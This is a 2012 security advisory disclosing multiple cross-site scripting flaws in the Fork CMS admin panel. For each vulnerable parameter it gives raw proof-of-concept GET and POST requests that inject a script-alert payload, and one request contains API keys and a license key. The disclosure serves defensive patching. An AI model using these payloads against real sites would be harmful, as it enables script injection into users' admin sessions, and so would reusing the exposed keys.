Fork CMS 3.2.7 Multiple HTML Code Injection Vulnerabilities
Vendor: Fork CMS
Product web page: http://www.fork-cms.com
Affected version: 3.2.7 and 3.2.6
Summary: Fork is an open source cms that will rock your world.
Desc: Fork CMS suffers from multiple XSS vulnerabilities when
parsing user input to several parameters in different scripts,
via POST and GET methods. Attackers can exploit these weaknesses
to execute arbitrary HTML and script code in a user's browser
session.
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.9
MySQL 5.5.20
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2012-5076
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5076.php
Vendor: http://forkcms.lighthouseapp.com/projects/61890/tickets/277-multiple-cross-site-scripting-xss-vulnerabilities-in-fork-cms-327
26.02.2012
---
----------------------------
Parameter: form_token
Method: POST
- POST /private/en/authentication/?querystring=/private/en HTTP/1.1
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=t275j7es7rj2078a25o4m27lt0; interface_language=s%3A2%3A%22en%22%3B; track=s%3A32%3A%22b8cab7d50fd32c5dd3506d0c88edb795%22%3B
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
backend_email=&backend_password=&form=authenticationIndex&form_token="><script>alert("ZSL");</script>&login=Log%20in
----------------------------
Parameter: value
Method: GET
- http://localhost/private/en/locale/edit?id=37&value="><script>alert("ZSL");</script>
----------------------------
Parameter: name
Method: GET
- http://localhost/private/en/locale/edit?id=37&name="><script>alert("ZSL");</script>
----------------------------
Parameter: type[]
Method: GET
- http://localhost/private/en/locale/edit?id=37&type[]="><script>alert("ZSL");</script>
----------------------------
Parameter: module
Method: GET
- http://localhost/private/en/locale/edit?id=37&module="><script>alert("ZSL");</script>
----------------------------
Parameter: application
Method: GET
- http://localhost/private/en/locale/edit?id=37&application="><script>alert("ZSL");</script>
----------------------------
Parameter: language
Method: GET
- http://localhost/private/en/locale/edit?id=37&language[]="><script>alert("ZSL");</script>
----------------------------
Parameters: position_1, position_2, position_3, position_4
Method: POST
- POST http://localhost/private/en/extensions/edit_theme_template?token=true&id=4 HTTP/1.1
form=edit&form_token=d75161cf347e7b12f53df4cf4082f27a&theme=triton&file=home.tpl&label=Home&position_0=&type_0_0=0&position_1="><script>alert("ZSL");</script>&position_2=left&position_3=right&position_4=top&type_4_0=1&position_5=advertisement&format=%5B%2F%2Cadvertisement%2Cadvertisement%2Cadvertisement%5D%2C%0D%0A%5B%2F%2C%2F%2Ctop%2Ctop%5D%2C%0D%0A%5B%2F%2C%2F%2C%2F%2C%2F%5D%2C%0D%0A%5Bmain%2Cmain%2Cmain%2Cmain%5D%2C%0D%0A%5Bleft%2Cleft%2Cright%2Cright%5D
----------------------------
Parameter: success_message
Method: POST
- POST http://localhost/private/en/form_builder/edit?token=true&id=1 HTTP/1.1
form=edit&form_token=&id=1&name=Contact&method=database_email&inputField-email%5B%5D=jox@jox.com&addValue-email=&email=jox@jox.com&success_message="><script>alert("ZSL");</script>&identifier=contact-en
----------------------------
Parameter: smtp_password
Method: POST
- POST http://localhost/private/en/settings/email HTTP/1.1
form=settingsEmail&form_token=&mailer_type=mail&mailer_from_name=Fork+CMS&mailer_from_email=jox@jox.com&mailer_to_name=Fork+CMS&mailer_to_email=jox@jox.com&mailer_reply_to_name=Fork+CMS&mailer_reply_to_email=jox@jox.com&smtp_server=&smtp_port=&smtp_username=&smtp_password="><script>alert("ZSL");</script>
----------------------------
Parameters: site_html_footer, site_html_header
Method: POST
- POST http://localhost/private/en/settings/index HTTP/1.1
form=settingsIndex&form_token=&site_title=My+website&site_html_header=&site_html_footer="><script>alert("ZSL");</script>&time_format=H%3Ai&date_format_short=j.n.Y&date_format_long=l+j+F+Y&number_format=dot_nothing&fork_api_public_key=f697aac745257271d83bea80f965e3c1&fork_api_private_key=6111a761ec566d325a623e0dcaf614e2&akismet_key=&ckfinder_license_name=Fork+CMS&ckfinder_license_key=QJH2-32UV-6VRM-V6Y7-A91J-W26Z-3F8R&ckfinder_image_max_width=1600&ckfinder_image_max_height=1200&addValue-facebookAdminIds=&facebook_admin_ids=&facebook_application_id=&facebook_application_secret=
----------------------------